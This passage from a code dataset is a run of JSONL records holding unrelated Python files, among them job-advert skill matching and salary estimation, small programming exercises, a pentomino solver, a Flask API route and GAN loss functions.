'Transportation and storage',\n '91': 'Administrative and support service activities',\n '92': 'Agriculture, forestry and fishing',\n '931': 'Mining and quarrying',\n '932': 'Manufacturing',\n '933': 'Transportation and storage',\n '94': 'Accommodation and food service activities',\n '95': 'Wholesale and retail trade; repair of motor vehicles and motorcycles',\n '961': 'Water supply sewage, waste management and remediation activities',\n '962': '',\n }\n\n for i in range(len(isco_code)):\n code = isco_code[:i + 1]\n if code in nace_sectors:\n return NACE_SEC_TO_CODE[nace_sectors[isco_code[:i + 1]]]\n return ''\n\n def filter_skills(self, skills):\n nace_vec = []\n isco_vec = []\n\n for skill in skills:\n n = []\n i = []\n pn = 0\n for node in self._nace_tree.root.children.values():\n tot = node.essential_skl['$total_count$']\n if skill in node.essential_skl:\n ess = node.essential_skl[skill]\n else:\n ess = 0\n if skill in node.optional_skl:\n opt = node.optional_skl[skill]\n else:\n opt = 0\n probability = (ess + opt) / tot\n pn += probability\n n.append(probability)\n pi = 0\n for node in self._isco_tree.root.children.values():\n tot = node.essential_skl['$total_count$']\n if skill in node.essential_skl:\n ess = node.essential_skl[skill]\n else:\n ess = 0\n if skill in node.optional_skl:\n opt = node.optional_skl[skill]\n else:\n opt = 0\n probability = (ess + opt) / tot\n pi += probability\n i.append(probability)\n if pn > 0:\n nace_vec.append(np.array(n) / pn)\n else:\n nace_vec.append(np.array(n))\n if pi > 0:\n isco_vec.append(np.array(i) / pi)\n else:\n isco_vec.append(np.array(i))\n\n torm = []\n for i in range(len(nace_vec)):\n if np.linalg.norm(nace_vec[i]) == 0:\n torm.append(i)\n continue\n if np.linalg.norm(isco_vec[i]) == 0:\n torm.append(i)\n continue\n\n torm.reverse()\n\n for i in torm:\n skills.pop(i)\n nace_vec.pop(i)\n isco_vec.pop(i)\n\n if len(skills) > 2:\n e = 0.1 # 0.1 to 0.5\n nace = []\n for i in range(10):\n clustering = DBSCAN(eps=e, min_samples=2, metric=scipy.spatial.distance.cosine).fit(nace_vec)\n if all(v == 0 for v in clustering.labels_) and e > 0.1:\n break\n nace.append(clustering.labels_)\n e += 0.1\n\n e = 0.1 # 0.1 to 0.5\n isco = []\n for i in range(10):\n clustering = DBSCAN(eps=e, min_samples=2, metric=scipy.spatial.distance.cosine).fit(isco_vec)\n if all(v == 0 for v in clustering.labels_) and e > 0.1:\n break\n isco.append(clustering.labels_)\n e += 0.1\n\n torm = []\n for i in range(len(skills)):\n if nace[-1][i] == -1 or isco[-1][i] == -1:\n torm.append(i)\n\n torm.reverse()\n for i in torm:\n skills.pop(i)\n\n #n_info = []\n #i_info = []\n\n #for s in skills:\n # n_info.append(self._get_information(s, 'nace'))\n # i_info.append(self._get_information(s, 'isco'))\n\n #n_support = []\n #i_support = []\n #for i in range(len(nace[0])):\n # n_support.append(0)\n # i_support.append(0)\n # for j in range(len(nace)):\n # n_cluster = nace[j][i]\n # if n_cluster != -1:\n # for k in range(len(nace[0])):\n # if k != i:\n # if nace[j][k] == n_cluster:\n # n_support[i] += n_info[k]\n # # n_support[i] += (nace[j] == n_cluster).sum()\n # else:\n # n_support[i] -= n_info[i]\n # i_cluster = isco[j][i]\n # if i_cluster != -1:\n # for k in range(len(nace[0])):\n # if k != i:\n # if isco[j][k] == i_cluster:\n # i_support[i] += i_info[k]\n # # n_support[i] += (nace[j] == n_cluster).sum()\n # else:\n # i_support[i] -= i_info[i]\n\n # get distance to all other vectors\n # distance is multiplied by specificity?\n\n return skills\n\n def filter_skills_alt(self, title, skills):\n skillset = set()\n if type(title) == float:\n return []\n title = [i for i in title.lower().split(' ') if i not in self._stops]\n\n for node in self._isco_nodes.values():\n score = 0\n for w in title:\n if self.findWholeWord(w)(node.name) is not None:\n score += 1\n score /= max(len(node.name.split(' ')), len(title))\n for a in node.alts:\n alt_score = 0\n for w in title:\n if self.findWholeWord(w)(a) is not None:\n alt_score += 1\n alt_score /= max(len(a.split(' ')), len(title))\n if alt_score > score:\n score = alt_score\n\n if score > 0:\n for sk in node.essential_skl:\n skillset.add(sk)\n for sk in node.optional_skl:\n skillset.add(sk)\n return [i for i in skills if i in skillset]\n\n def get_sector(self, skills):\n sector = []\n score = []\n for node in self._nace_tree.root.children.values():\n s = 0\n for skill in skills:\n tot = node.essential_skl['$total_count$']\n if skill in node.essential_skl:\n ess = node.essential_skl[skill]\n else:\n ess = 0\n if skill in node.optional_skl:\n opt = node.optional_skl[skill]\n else:\n opt = 0\n probability = (ess + opt) / tot\n s += probability * self._get_information(skill, 'nace')\n sector.append(node.id)\n score.append(s)\n\n return NACE_CODE_TO_SEC[sector[score.index(max(score))]]\n\n def estimate_salary(self, skills, location):\n # 1 get 3 digit ISCO code from skills\n detected = ''\n r_node = self._isco_tree.root\n for i in range(3):\n sector = []\n score = []\n for node in r_node.children.values():\n s = 0\n for skill in skills:\n tot = node.essential_skl['$total_count$']\n if skill in node.essential_skl:\n ess = node.essential_skl[skill]\n else:\n ess = 0\n if skill in node.optional_skl:\n opt = node.optional_skl[skill]\n else:\n opt = 0\n probability = (ess + opt) / tot\n s += probability * self._get_information(skill, 'isco')\n sector.append(node.id)\n score.append(s)\n code = sector[score.index(max(score))]\n detected += code\n r_node = r_node.children[code]\n\n country = pycountry.countries.search_fuzzy(location)[0]\n if country is None:\n print(\"Country {} not detected\".format(location))\n return None\n country_code = country.alpha_2\n # 2 see if we have that in our country, if we do return\n data = self._loc_salary.loc[(self._loc_salary['Country'] == country_code) & (self._loc_salary['ISCO'] == detected)]\n if len(data) == 1:\n amount = float(data.iloc[0][2]) * 12\n currency = pycountry.currencies.get(numeric=country.numeric)\n if currency is not None:\n converted = self._c.convert(amount, currency.alpha_3)\n return int(converted)\n else:\n return int(amount)\n return None\n # 3 iterate through all the other countries and find the closest one based on average wage. Use that country's\n # estimate scaled by the difference in average overrall wage.\n\n def _get_information(self, skill, tree='isco'):\n if tree == 'isco':\n return 1 - (self._get_entropy(skill, self._isco_tree) / 3.321928094887362)\n elif tree == 'nace':\n return 1 - (self._get_entropy(skill, self._nace_tree) / 4.247927513443583)\n\n def _get_entropy(self, skill, tree): # the higher the entropy the less info we get from knowing a job has a skill\n probs = []\n ps = 0\n for node in tree.root.children.values():\n tot = node.essential_skl['$total_count$']\n if skill in node.essential_skl:\n ess = node.essential_skl[skill]\n else:\n ess = 0\n if skill in node.optional_skl:\n opt = node.optional_skl[skill]\n else:\n opt = 0\n probability = (ess + opt) / tot\n ps += probability\n probs.append(probability)\n if ps == 0:\n return 0\n probs = np.array(probs)/ps\n\n entropy = 0\n for p in probs:\n if p != 0:\n entropy += p * np.log2(p)\n entropy = - entropy\n return entropy\n\n @staticmethod\n def findWholeWord(w):\n return re.compile(r'\\b({0})\\b'.format(w), flags=re.IGNORECASE).search\n\n\n\n# endregion\n\n# region --- Keyword matching ---\n\n\nclass ESCOMatcher:\n\n def __init__(self, path, filterPath=None, preprocessor=None, popularity=None):\n data = pd.read_csv(path)\n self._preproc = preprocessor\n\n if filterPath is not None:\n with open(filterPath, 'r') as f:\n filter_set = f.readlines()\n for i in range(len(filter_set)):\n filter_set[i] = str(filter_set[i]).replace('\\n', '').replace('\\r', '')\n filter_set = list(set(filter_set))\n filter_set = self._preproc.clean(filter_set, False)\n\n if '' in filter_set:\n filter_set.remove('')\n\n preferred = data.preferredLabel.tolist()\n alternative = data.altLabels.tolist()\n for i in range(len(alternative)):\n if type(alternative[i]) == float:\n alternative[i] = ''\n else:\n alternative[i] = alternative[i].replace('\\n', ' s p l i t ') + ' s p l i t ' + preferred[i]\n alternative = self._preproc.clean(alternative, False)\n self._labels = {}\n # with tqdm(total=len(preferred), unit=' matches') as pbar:\n for i in range(len(preferred)):\n if preferred[i] == 'electricity principles' or preferred[i] == 'design ventilation network' or preferred[\n i] == 'perform ground-handling maintenance procedures' or preferred[\n i] == 'compile airport certification manuals':\n continue\n self._labels[preferred[i]] = [preferred[i]]\n if alternative[i] != '':\n for lbl in alternative[i].split(' s p l i t '):\n if filterPath is not None and lbl not in filter_set:\n continue\n if lbl == 'reporting' or \\\n lbl == 'it' or \\\n lbl == 'interview' or \\\n lbl == 'access' or \\\n lbl == 'history' or \\\n lbl == 'security' or \\\n lbl == 'balance' or \\\n lbl == 'energy' or \\\n lbl == 'engineering':\n continue\n if lbl in self._labels.keys():\n self._labels[lbl].append(preferred[i])\n else:\n self._labels[lbl] = [preferred[i]]\n # pbar.update()\n\n for key in self._labels:\n vals = self._labels[key]\n pop = None\n count = -1\n if len(vals) > 1:\n k = 0\n for v in vals:\n if v in popularity:\n popv = popularity[v]\n else:\n popv = 0\n if popv > count:\n pop = v\n count = popv\n self._labels[key] = pop\n\n self._create_automaton()\n\n def match_ESCO(self, text, duplicates):\n matches = []\n kw_matches = []\n with tqdm(total=len(text), unit=' matches') as pbar:\n for ad in text:\n jobs = []\n start = 0\n for end, job in self._match(ad):\n if self._find_word(job[1])(ad[start:]) is not None:\n jobs.append(job[1])\n start = end + 1\n if not duplicates:\n jobs = list(set(jobs))\n kws = []\n for j in jobs:\n kws.append(self._labels[j])\n if not duplicates:\n kws = list(set(kws))\n matches.append(jobs)\n kw_matches.append(kws)\n pbar.update()\n return matches, kw_matches\n\n def _create_automaton(self):\n keywords = set(self._labels.keys())\n self._automaton = Automaton()\n i = 0\n for k in keywords:\n self._automaton.add_word(k, (i, k))\n i += 1\n self._automaton.make_automaton()\n\n def _match(self, text):\n return self._automaton.iter(text)\n\n @staticmethod\n def _find_word(w):\n return re.compile(r'\\b(' + re.escape(w) + r')\\b').search\n\n\nclass FilterMatcher:\n\n def __init__(self, model_path, keywords_path, preprocessor=None):\n self._matcher = Matcher(keywords_path, preprocessor)\n self._model = KeyedVectors.load_word2vec_format(model_path, binary=True)\n\n def match(self, text):\n filtered_keywords = []\n with tqdm(total=len(text), unit=' matches') as pbar:\n for posting in text:\n if isinstance(posting, float):\n filtered_keywords.append('')\n continue\n posting = posting.lower()\n match = []\n start = 0\n for end, k in self._matcher.match(posting):\n if self._matcher.find_word(k[1])(posting[start:]) is not None:\n match.append(k[1])\n start = end + 1\n\n vectors = []\n torm = []\n for m in match:\n m1 = m.replace(\" \", \"_\")\n if m1 in self._model.vocab:\n vectors.append(self._model[m1])\n continue\n else:\n m1 = m1.split(\"_\")\n try:\n mv = self._model[m1[0]]\n except KeyError:\n torm.append(m)\n continue\n for i in range(len(m1) - 1):\n try:\n mv = np.add(mv, self._model[m1[i + 1]])\n except KeyError:\n continue\n vectors.append(mv)\n for item in torm:\n match.remove(item)\n while len(vectors) > 2:\n to_rm = furthest(vectors)\n vectors = np.delete(vectors, to_rm, 0)\n match.remove(match[to_rm])\n\n # match = list(set(match))\n\n if len(match) == 2:\n if match[0] == match[1]:\n match = match[0]\n elif match[0] in match[1]:\n match = match[1]\n elif match[1] in match[0]:\n match = match[0]\n else:\n match = match[0]\n elif len(match) == 1:\n match = match[0]\n if len(match) > 0:\n filtered_keywords.append(match.title())\n else:\n filtered_keywords.append('')\n pbar.update()\n\n return filtered_keywords\n\n\nclass Matcher:\n\n def __init__(self, keywords_path, preprocessor=None):\n self._kp = keywords_path\n self._preprocessor = preprocessor\n self._create_automaton()\n\n def match(self, text):\n return self._automaton.iter(text)\n\n def find_word(self, w):\n return re.compile(r'\\b({0})\\b'.format(w), flags=re.IGNORECASE).search\n\n def _create_automaton(self):\n with open(self._kp, 'rb') as f:\n keywords = f.readlines()\n for i in range(len(keywords)):\n keywords[i] = str(keywords[i])[2:-3]\n if self._preprocessor is not None:\n keywords = self._preprocessor.clean(keywords, False)\n keywords = set(keywords)\n if \"\" in keywords:\n keywords.remove(\"\")\n\n self._automaton = Automaton()\n i = 0\n for k in keywords:\n self._automaton.add_word(k, (i, k))\n i += 1\n self._automaton.make_automaton()\n\n\ndef furthest(vectors):\n distances = []\n for v1 in vectors:\n d = 0\n for v2 in vectors:\n distance = np.abs(spatial.distance.cosine(v1, v2))\n d += distance\n distances.append(d)\n return np.argmax(distances)\n\n# endregion\n","repo_name":"rubayethasan/Categorising_Sections_of_Web_Job_Advertisement_and_Extracting_Information","sub_path":"extract-info/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":37776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5863763119","text":"# Simple Coffee Machine\r\n# (functions and TODO used)\r\n\r\n# TODO 1.1: Menu \r\n\r\nmenu = {\r\n \"espresso\": {\r\n \"ingredients\": {\r\n \"water\": 50,\r\n \"milk\": 0,\r\n \"coffee\": 18,\r\n },\r\n \"cost\": 1.5,\r\n },\r\n \"latte\": {\r\n \"ingredients\": {\r\n \"water\": 200,\r\n \"milk\": 150,\r\n \"coffee\": 24,\r\n },\r\n \"cost\": 2.5,\r\n },\r\n \"cappuccino\": {\r\n \"ingredients\": {\r\n \"water\": 250,\r\n \"milk\": 100,\r\n \"coffee\": 24,\r\n },\r\n \"cost\": 3.0,\r\n }\r\n}\r\n\r\n# TODO 1.2: Resources\r\n\r\nresources = {\r\n \"water\": 300,\r\n \"milk\": 200,\r\n \"coffee\": 100,\r\n}\r\n\r\n\r\n# TODO 3: Check resources\r\ndef check_ingredients(order):\r\n water = resources[\"water\"]\r\n milk = resources[\"milk\"]\r\n coffee = resources[\"coffee\"]\r\n\r\n water_order = menu[order][\"ingredients\"][\"water\"]\r\n milk_order = menu[order][\"ingredients\"][\"milk\"]\r\n coffee_order = menu[order][\"ingredients\"][\"coffee\"]\r\n\r\n if water >= water_order and milk >= milk_order and coffee >= coffee_order:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\n# TODO 4: Print price\r\ndef print_price(order):\r\n price = menu[order][\"cost\"]\r\n print(f\"{order.title()} is £{price:.2f}.\")\r\n\r\n\r\n# TODO 5: Take money and decide if enough\r\ndef count_money(order):\r\n money = float(input(\"Please enter coins to the slot: £\"))\r\n price = menu[order][\"cost\"]\r\n if money >= price:\r\n print(\"Thank you!\")\r\n change = money - price\r\n print(f\"Please, take your change: £{change:.2f}\")\r\n # TODO 6: Give back a change\r\n return True\r\n else:\r\n return False\r\n\r\n\r\n# TODO 7: Make a coffe\r\ndef make_coffee(order):\r\n print(f\"Preparing...\\nEnjoy your {order}.\")\r\n\r\n\r\n# TODO 7.1: Subtract from resources\r\ndef subtract_from_resources(order):\r\n global resources\r\n\r\n water_order = menu[order][\"ingredients\"][\"water\"]\r\n milk_order = menu[order][\"ingredients\"][\"milk\"]\r\n coffee_order = menu[order][\"ingredients\"][\"coffee\"]\r\n\r\n resources[\"water\"] -= water_order\r\n resources[\"milk\"] -= milk_order\r\n resources[\"coffee\"] -= coffee_order\r\n\r\n\r\n# TODO 9: Secret code to check resources left\r\ndef check_resources():\r\n water = resources[\"water\"]\r\n milk = resources[\"milk\"]\r\n coffee = resources[\"coffee\"]\r\n print(f\"Water: {water}\\nMilk: {milk}\\nCoffee: {coffee}\")\r\n\r\n\r\n# TODO 8: Loop for working machine\r\ndef turn_on():\r\n while True:\r\n # TODO 2: Choose coffe\r\n user_choice = input(\"What coffe would you like to order (espresso, latte, cappuccino)? \").lower()\r\n if user_choice == \"espresso\" or user_choice == \"latte\" or user_choice == \"cappuccino\":\r\n if check_ingredients(user_choice):\r\n print_price(user_choice)\r\n if count_money(user_choice):\r\n subtract_from_resources(user_choice)\r\n make_coffee(user_choice)\r\n else:\r\n # TODO 5.1: If no enough money, print information\r\n print(\"Sorry, not enough money provided.\")\r\n\r\n else:\r\n # TODO 3.1: If not enough resources, print information\r\n print(\"Sorry, not enough resources in the machine.\")\r\n\r\n elif user_choice == \"resources\":\r\n check_resources()\r\n # TODO 10: Secret code to turn off\r\n elif user_choice == \"turn off\":\r\n print(\"Turning off...\\nGoodbye!\")\r\n break\r\n else:\r\n print(\"Wrong choice!\")\r\n\r\n# Start:\r\nturn_on()\r\n","repo_name":"rrezler93/100-Days-of-Python","sub_path":"Coffee Machine.py","file_name":"Coffee Machine.py","file_ext":"py","file_size_in_byte":3582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1077177189","text":"def indice_plus_petit(maliste):\n i = 0\n mini = maliste[0] # on initialise le min à maliste[0]\n numero = 0 # et sa position est l'indice 0\n while i < len(maliste):\n if maliste[i] < mini:\n mini = maliste[i]\n numero = i # nouveau mini, nouvelle position\n i = i + 1\n return numero\n\nmaliste = [2, 1, -5, 8, 7, 3, 4]\nindice = indice_plus_petit(maliste)\nprint(\"Le plus petit élément de ma liste est\", indice)\n# ici -5 est en le plus petit, en position 2 (3ème)\n","repo_name":"Naereen/Introduction-au-Numerique-avec-Python-dpt-DEM-2020","sub_path":"Cours-4/Programmes-Python/ex2.py","file_name":"ex2.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"39501295771","text":"class Solution:\n \"\"\"\n @param A, B: Two strings.\n @return: The length of longest common subsequence of A and B.\n \"\"\"\n # dp[i+1][j+1]: LCS of A[:i+1] and B[:j+1], 0<=i<len(A), 0<=j<len(B)\n # initial: dp[i][0] = 0, dp[0][j] = 0\n # dp[i+1][j+1] = dp[i][j] + 1 if A[i] == B[j]\n # = max(dp[i+1][j], dp[i][j+1]) if A[i] != B[j]\n # answer: dp[i+1][j+1]\n def longestCommonSubsequence(self, A, B):\n if not A or not B:\n return 0\n dp = [[False] * (len(B) + 1) for _ in range(len(A) + 1)]\n for i in range(len(A) + 1):\n dp[i][0] = 0\n for j in range(len(B) + 1):\n dp[0][j] = 0\n for i in range(len(A)):\n for j in range(len(B)):\n if A[i] == B[j]:\n dp[i + 1][j + 1] = dp[i][j] + 1\n else:\n dp[i + 1][j + 1] = max(dp[i + 1][j], dp[i][j + 1])\n return dp[len(A)][len(B)]\n","repo_name":"jwyx3/practices","sub_path":"python/longest-common-subsequence.py","file_name":"longest-common-subsequence.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23978061657","text":"import csv\n\nknn_len = 6\ndef read_csv(fname):\n\tx, y = [], []\n\twith open(fname, 'r') as f:\n\t\treader = csv.reader(f)\n\t\tfor row in reader:\n\t\t\tx.append(list(map(int, row[:-1])))\n\t\t\ty.append(int(row[-1]))\n\tf.close()\n\treturn (x, y)\n\nif __name__ == '__main__':\n\tinputs, op = read_csv(\"data4.csv\")\n\texamples = []\n\twith open(\"test4.csv\") as t:\n\t\treader = csv.reader(t)\n\t\tfor row in reader:\n\t\t\texamples.append(list(map(int, row)))\n\n\teuclid, ans = [], []\n\tfor ex in examples:\n\t\tfor i in range(len(inputs)):\n\t\t\teuclid.append((sum(list(map(lambda a, b: (a-b)**2, ex, inputs[i]))), i))\n\t\tknn = sorted(euclid)[:knn_len]\n\t\tpos_examples = len([op[knn[i][1]] for i in range(knn_len) if op[knn[i][1]]])\n\t\tans.append(int(pos_examples > knn_len-pos_examples))\n\t\teuclid = []\n\tans = [str(x) for x in ans]\n\tprint(\" \".join(ans))","repo_name":"kpiyush16/ML_Assignments","sub_path":"Assign4/15ME31001_4.py","file_name":"15ME31001_4.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"36868234996","text":"from matplotlib import pyplot as plt\nimport numpy as np\nimport time\n\nPentomino = {\n 'F': [(-1, 1), (-1, 0), (0, 0), (0, -1), (1, 0)],\n 'I': [(2, 0), (1, 0), (0, 0), (-1, 0), (-2, 0)],\n 'L': [(-3, 0), (-2, 0), (-1, 0), (0, 0), (0, 1)],\n 'N': [(-1, 1), (0, 1), (0, 0), (1, 0), (2, 0)],\n 'P': [(-1, 1), (-1, 0), (0, 1), (0, 0), (1, 0)],\n 'T': [(-1, -1), (-1, 0), (-1, 1), (0, 0), (1, 0)],\n 'U': [(-1, -1), (0, -1), (0, 0), (0, 1), (-1, 1)],\n 'V': [(-2, 0), (-1, 0), (0, 0), (0, 1), (0, 2)],\n 'W': [(-1, -1), (0, -1), (0, 0), (1, 0), (1, 1)],\n 'X': [(1, 0), (0, 0), (-1, 0), (0, 1), (0, -1)],\n 'Y': [(-1, 0), (0, 0), (0, -1), (1, 0), (2, 0)],\n 'Z': [(-1, -1), (-1, 0), (0, 0), (1, 0), (1, 1)]\n}\n\n\nSymmetries = {\n 'F': (True, 4),\n 'I': (False, 2),\n 'L': (True, 4),\n 'N': (True, 4),\n 'P': (True, 4),\n 'T': (False, 4),\n 'U': (False, 4),\n 'V': (False, 4),\n 'W': (False, 4),\n 'X': (False, 1),\n 'Y': (True, 4),\n 'Z': (True, 2)\n}\n\n\ndef put_on_board(board, figure, trans, v):\n shift = np.array(trans)\n for c in figure:\n s = np.array(c) + shift\n board[tuple(s)] = v\n\n\ndef generate_symmetries(figure):\n fig = Pentomino[figure][:]\n res = []\n rot = np.array([[0, -1], [1, 0]])\n sym = np.array([[-1, 0], [0, 1]])\n need_mirror, rots = Symmetries[figure]\n for i in range(rots):\n fig = [rot @ p for p in fig]\n res.append(fig)\n if need_mirror:\n sym_fig = [sym @ p for p in fig]\n res.append(sym_fig)\n for i in range(rots - 1):\n sym_fig = [rot @ p for p in sym_fig]\n res.append(sym_fig)\n return res\n\n\ndef fits_board(board, figure, pos):\n sh = board.shape\n for p in figure:\n s = p+pos\n if s[0] < 0 or s[1] < 0 or s[0] >= sh[0] or s[1] >= sh[1]:\n return False\n if board[tuple(p + pos)] != 0:\n return False\n return True\n\n\ndef find_tiling_rec(board, remaining_figures, placed):\n if len(remaining_figures) == 0 or placed*5 == board.shape[0] * board.shape[1]:\n plt.matshow(board)\n plt.show()\n return\n\n bs = board.shape\n fs = generate_symmetries(remaining_figures[0])\n rem = remaining_figures[1:]\n for f in fs:\n for i in range(bs[0]):\n for j in range(bs[1]):\n if board[i, j] != 0:\n continue\n if fits_board(board, f, np.array((i, j))):\n put_on_board(board, f, (i, j), len(remaining_figures))\n find_tiling_rec(board, rem, placed+1)\n put_on_board(board, f, (i, j), 0)\n\n\ndef find_tiling(board_size, figures):\n if board_size[0]*board_size[1] > len(figures)*5:\n return []\n\n board = np.zeros(board_size, dtype='int')\n find_tiling_rec(board, figures, 0)\n return board\n\n\ndef main():\n board_size = (5, 5)\n t = time.time()\n board = find_tiling(board_size, ['L', 'Y', 'T', 'P', 'W', 'Z', 'V', 'N'])\n t = time.time() - t\n print('Elapsed time:', t)\n plt.matshow(board)\n plt.show()\n ''' \n board_size = (12, 5)\n t = time.time()\n board = find_tiling(board_size, ['F', 'I', 'L', 'N', 'P', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])\n t = time.time() - t\n print('Elapsed time:', t)\n plt.matshow(board)\n plt.show()\n '''\n\nif __name__ == '__main__':\n main()\n","repo_name":"beliaevs/pentomino","sub_path":"pentomino.py","file_name":"pentomino.py","file_ext":"py","file_size_in_byte":3356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70447660034","text":"from turtle import Turtle\r\n\r\nFONT = (\"Courier\", 20, \"normal\")\r\nGAMEOVER = (\"Courier\", 60, \"normal\")\r\n\r\nclass Scoreboard(Turtle):\r\n\r\n def __init__(self, show_menu_callback):\r\n super().__init__()\r\n self.level = 1\r\n self.hideturtle()\r\n self.penup()\r\n self.goto(-300, 250)\r\n self.write(f\"Level: {self.level}\", align=\"center\", font=FONT)\r\n self.restart_button = None\r\n self.show_menu = show_menu_callback # Callback function to show the main menu\r\n\r\n def clear_scoreboard(self):\r\n self.clear()\r\n\r\n def increase_level(self):\r\n self.level += 1\r\n self.clear_scoreboard()\r\n self.write(f\"Level: {self.level}\", align=\"center\", font=FONT)\r\n\r\n def game_over(self):\r\n self.clear_scoreboard()\r\n self.goto(0, 0)\r\n self.write(\"GAME OVER!!!\", align=\"center\", font=GAMEOVER)\r\n self.draw_restart_button()\r\n\r\n def draw_restart_button(self):\r\n self.restart_button = Turtle()\r\n self.restart_button.penup()\r\n self.restart_button.goto(0, -50)\r\n self.restart_button.color(\"black\")\r\n self.restart_button.hideturtle()\r\n self.restart_button.write(\"Quit\", align=\"center\", font=(\"Arial\", 16, \"normal\"))\r\n self.restart_button.onclick(self.restart_game)\r\n\r\n def is_inside_restart_button(self, x, y):\r\n if self.restart_button is not None:\r\n return -50 <= y <= -10\r\n return False\r\n\r\n def restart_game(self, x, y):\r\n if self.is_inside_restart_button(x, y):\r\n self.clear_scoreboard()\r\n self.show_menu() # Call the callback function to show the main menu\r\n","repo_name":"FauzanHandoyo/Crossy-Road-in-2D","sub_path":"Crossy Road 2D ( UNFINISH)/scoreboard.py","file_name":"scoreboard.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34483361763","text":"\r\ndef multiplying(multiplesOfThree,multiplesOfFive):\r\n multiplesOfThree = []\r\n multiplesOfFive = []\r\n sum = int(0)\r\n n = int(1)\r\n while n <= 333:\r\n Three = n*3\r\n multiplesOfThree.append(Three)\r\n n += 1\r\n n = int(1)\r\n while n <= 199:\r\n Five = n*5\r\n multiplesOfFive.append(Five)\r\n n += 1\r\n for element in multiplesOfThree:\r\n if element in multiplesOfFive:\r\n multiplesOfThree.remove(element)\r\n else:\r\n pass\r\n\r\n return(multiplesOfFive, multiplesOfThree)\r\n\r\ndef theSumOfLists(list1,list2):\r\n sum1 = int(0)\r\n sum2 = int(0)\r\n total = int(0)\r\n for element in list1:\r\n sum1 = element + sum1\r\n for element in list2:\r\n sum2 = element + sum2\r\n total = sum1 + sum2\r\n return total\r\n\r\n\r\n\r\nmultiples = multiplying(3,5)\r\ntotal = theSumOfLists(multiples[0],multiples[1])\r\nprint(total)\r\n\r\n\r\n","repo_name":"svtyv/ProjectEuler-Problems","sub_path":"EP1.py","file_name":"EP1.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30351882288","text":"from app import app, db\nfrom flask import make_response, request\nimport geopy.distance\n\n@app.route('/items-list', methods=['GET', 'POST'])\ndef items_list():\n\n items = [item.to_dict() for item in db.collection('items').stream()]\n\n if request.method == 'GET':\n return make_response({\"items\" : items}, 200)\n\n if request.method == 'POST':\n\n data = request.get_json()\n\n if (\"location\") in data:\n\n for item in items:\n dst = tuple(item[\"location\"])\n org = tuple(data[\"location\"])\n \n distance = geopy.distance.geodesic(org, dst).km\n item[\"distance\"] = float(\"{0:.1f}\".format(distance))\n\n return make_response({\"items\" : items}, 200)\n\n\n else:\n return make_response({\"error\" : \"this api request 2 parameters ([org], [dst])\"}, 200)","repo_name":"Hiwder/hiwder-backend","sub_path":"routes/home.py","file_name":"home.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"39372057534","text":"'''*******************************************************************************************************\nGiven a number n, count number of n length strings with consecutive 1’s in them.\n\nInput : n = 2\nOutput : 1\nThere are 4 strings of length 2, the\nstrings are 00, 01, 10 and 11. Only the \nstring 11 has consecutive 1's.\n\n\n***********************************************************************************************************'''\n# Returns count of n length\n# binary strings with\n# consecutive 1's\ndef countStrings(n):\n \n # Count binary strings without\n # consecutive 1's.\n # See the approach discussed on be\n # ( http://goo.gl/p8A3sW )\n a = [0] * n\n b = [0] * n\n a[0] = b[0] = 1\n for i in range(1, n):\n a[i] = a[i - 1] + b[i - 1]\n b[i] = a[i - 1]\n \n # Subtract a[n-1]+b[n-1] from 2^n\n return (1 << n) - a[n - 1] - b[n - 1]\n \n \n# Driver code\nprint(countStrings(5))","repo_name":"NituRana/DSA-with-Python","sub_path":"DSA-with-Python/Strings/Level1_Easy/1.count_number_of_n_length_strings_with_consecutive_1’s.py","file_name":"1.count_number_of_n_length_strings_with_consecutive_1’s.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14490875633","text":"import tensorflow as tf\n\n\ndef d_logistic(real_images, generator, discriminator, z_dim, labels=None):\n batch_size = tf.shape(real_images)[0]\n z = tf.random.normal(shape=[batch_size, z_dim], dtype=tf.float32)\n if labels is None:\n labels = tf.random.normal(shape=[batch_size, 0], dtype=tf.float32)\n\n # forward pass\n fake_images = generator([z, labels], training=True)\n real_scores = discriminator([real_images, labels], training=True)\n fake_scores = discriminator([fake_images, labels], training=True)\n\n # gan loss\n d_loss = tf.math.softplus(fake_scores)\n d_loss += tf.math.softplus(-real_scores)\n return d_loss\n\n\ndef d_logistic_r1_reg(real_images, generator, discriminator, z_dim, labels=None):\n batch_size = tf.shape(real_images)[0]\n z = tf.random.normal(shape=[batch_size, z_dim], dtype=tf.float32)\n if labels is None:\n labels = tf.random.normal(shape=[batch_size, 0], dtype=tf.float32)\n\n # forward pass\n fake_images = generator([z, labels], training=True)\n real_scores = discriminator([real_images, labels], training=True)\n fake_scores = discriminator([fake_images, labels], training=True)\n\n # gan loss\n d_loss = tf.math.softplus(fake_scores)\n d_loss += tf.math.softplus(-real_scores)\n\n # gradient penalty\n with tf.GradientTape() as r1_tape:\n r1_tape.watch([real_images, labels])\n real_loss = tf.reduce_sum(discriminator([real_images, labels], training=True))\n\n real_grads = r1_tape.gradient(real_loss, real_images)\n r1_penalty = tf.reduce_sum(tf.math.square(real_grads), axis=[1, 2, 3])\n r1_penalty = tf.expand_dims(r1_penalty, axis=1)\n return d_loss, r1_penalty\n\n\ndef g_logistic_non_saturating(real_images, generator, discriminator, z_dim, labels=None):\n batch_size = tf.shape(real_images)[0]\n z = 